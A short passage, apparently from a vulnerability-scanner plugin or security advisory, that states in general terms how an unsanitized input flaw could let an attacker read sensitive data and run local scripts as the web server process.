fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially
sensitive information and execute arbitrary local scripts in the
context of the Web server process. This may allow the attacker
to compromise the application and computer. Other attacks are
also possible.");
